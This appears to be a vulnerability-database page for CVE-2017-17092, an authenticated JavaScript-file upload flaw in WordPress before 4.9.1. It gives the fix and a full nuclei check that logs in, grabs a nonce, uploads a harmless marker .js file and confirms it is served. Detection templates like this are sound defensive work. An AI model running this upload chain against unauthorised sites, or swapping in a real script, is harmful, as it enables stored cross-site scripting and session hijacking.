Browse / CVEs / CVE-2017-17092
CVE-2017-17092· wordpress / wordpress· CWE-79
WordPress < 4.9.1 - Authenticated JavaScript File Upload
mediumseverity
5.4CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it
WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions.
Impact
Remote attackers can execute arbitrary JavaScript in the context of the site, leading to potential session hijacking or defacement.
Fix
Update to WordPress 4.9.1 or later.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/upload.php
Positive when: status_code == 200 and contains(body, '_wpnonce')
Send: POST /wp-admin/async-upload.php
Positive when: status_code == 200 and contains_all(body, "success",".js")
Send: GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/{{filename}}.js
Positive when: status_code == 200 and contains(body, "//{{marker}}")Run it with nuclei: nuclei -id CVE-2017-17092 -u <target>
The full check
id: CVE-2017-17092
info:
name: WordPress < 4.9.1 - Authenticated JavaScript File Upload
author: 0x_Akoko
severity: medium
description: |
WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions.
impact: |
Remote attackers can execute arbitrary JavaScript in the context of the site, leading to potential session hijacking or defacement.
remediation: |
Update to WordPress 4.9.1 or later.
reference:
- https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
- https://wpscan.com/vulnerability/0d2323bd-aecd-4d58-ba4b-597a43034f57
- https://nvd.nist.gov/vuln/detail/CVE-2017-17092
- https://lists.debian.org/debian-lts-announce/2017/12/msg00019.html
- https://wpvulndb.com/vulnerabilities/8966
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2017-17092
cwe-id: CWE-79
epss-score: 0.03473
epss-percentile: 0.89185
cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: wordpress
product: wordpress
shodan-query: http.component:"wordpress"
fofa-query: body="oembed" && body="wp-"
tags: cve,cve2017,wordpress,wpscan,xss,upload,authenticated,intrusive,file-upload,vuln
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
marker: "{{to_lower(rand_text_alpha(5))}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/upload.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, '_wpnonce')
condition: and
internal: true
extractors:
- type: regex
name: nonce
group: 1
regex:
- '"_wpnonce":"([a-f0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/async-upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="name"
{{filename}}.js
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="action"
upload-attachment
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="_wpnonce"
{{nonce}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.js"
Content-Type: application/javascript
//{{marker}}
------WebKitFormBoundary{{randstr}}--
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "success",".js")
condition: and
internal: true
extractors:
- type: regex
name: upload_year
group: 1
internal: true
regex:
- 'uploads\\/([0-9]+)\\/[0-9]+\\/[^"]+\.js'
- type: regex
name: upload_month
group: 1
internal: true
regex:
- 'uploads\\/[0-9]+\\/([0-9]+)\\/[^"]+\.js'
- raw:
- |
GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/{{filename}}.js HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "//{{marker}}")
condition: andReferences
- https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
- https://wpscan.com/vulnerability/0d2323bd-aecd-4d58-ba4b-597a43034f57
- https://nvd.nist.gov/vuln/detail/CVE-2017-17092
- https://lists.debian.org/debian-lts-announce/2017/12/msg00019.html
- https://wpvulndb.com/vulnerabilities/8966
Use this check only on systems you are authorised to test. Where the data comes from